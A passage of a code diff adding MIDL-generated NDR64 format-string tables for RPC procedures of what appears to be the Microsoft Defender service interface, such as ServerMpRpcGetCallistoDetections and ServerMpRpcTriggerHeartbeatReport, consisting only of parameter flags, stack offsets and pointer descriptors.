0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1162, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1156_t __midl_frag1156 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 225 /* 0xe1 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ +}; + +static const __midl_frag1155_t __midl_frag1155 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1156 +}; + +static const __midl_frag1154_t __midl_frag1154 = +{ +/* Proc122_ServerMpRpcSampleHeaderClose */ + { + /* Proc122_ServerMpRpcSampleHeaderClose */ /* procedure Proc122_ServerMpRpcSampleHeaderClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1142_t __midl_frag1142 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 160 /* 0xa0 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 1 /* 0x1 */ +}; + +static const __midl_frag1141_t __midl_frag1141 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1142 +}; + +static const __midl_frag1139_t __midl_frag1139 = +{ +/* Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ + { + /* Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ /* procedure Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 132 /* 0x84 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1142, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1130_t __midl_frag1130 = +{ +/* Proc119_ServerMpRpcSampleHeaderQueueCreate */ + { + /* Proc119_ServerMpRpcSampleHeaderQueueCreate */ /* procedure Proc119_ServerMpRpcSampleHeaderQueueCreate */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag36, + { + /* arg_3 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1122_t __midl_frag1122 = +{ +/* Proc118_ServerMpRpcEngineQueryConfigDword */ + { + /* Proc118_ServerMpRpcEngineQueryConfigDword */ /* procedure Proc118_ServerMpRpcEngineQueryConfigDword */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1112_t __midl_frag1112 = +{ +/* Proc117_ServerMpRpcIsRtpAutoEnable */ + { + /* Proc117_ServerMpRpcIsRtpAutoEnable */ /* procedure Proc117_ServerMpRpcIsRtpAutoEnable */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1100_t __midl_frag1100 = +{ +/* *Struct_1232_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag227 +}; + +static const __midl_frag1098_t __midl_frag1098 = +{ +/* **Struct_1232_t */ + { + /* **Struct_1232_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_1232_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1298 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_1232_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag227 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1100 + } +}; + +static const __midl_frag1097_t __midl_frag1097 = +{ +/* **Struct_1232_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1098 +}; + +static const __midl_frag1096_t __midl_frag1096 = +{ +/* ***Struct_1232_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1097 +}; + +static const __midl_frag1093_t __midl_frag1093 = +{ +/* Proc115_ServerMpRpcGetCallistoDetections */ + { + /* Proc115_ServerMpRpcGetCallistoDetections */ /* procedure Proc115_ServerMpRpcGetCallistoDetections */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1096, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1088_t __midl_frag1088 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1087_t __midl_frag1087 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 1 /* 0x1 */, + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag1088 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag2219 + } +}; + +static const __midl_frag1086_t __midl_frag1086 = +{ +/* *wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1087 +}; + +static const __midl_frag1082_t __midl_frag1082 = +{ +/* Proc114_ServerMpRpcRemapCallistoDetections */ + { + /* Proc114_ServerMpRpcRemapCallistoDetections */ /* procedure Proc114_ServerMpRpcRemapCallistoDetections */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1087, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1078_t __midl_frag1078 = +{ +/* *Struct_1872_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag664 +}; + +static const __midl_frag1077_t __midl_frag1077 = +{ +/* **Struct_1872_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1078 +}; + +static const __midl_frag1076_t __midl_frag1076 = +{ +/* Proc113_ServerMpRpcTriggerHeartbeatReport */ + { + /* Proc113_ServerMpRpcTriggerHeartbeatReport */ /* procedure Proc113_ServerMpRpcTriggerHeartbeatReport */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1077, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1065_t __midl_frag1065 = +{ +/* Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ + { + /* Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ /* procedure Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* 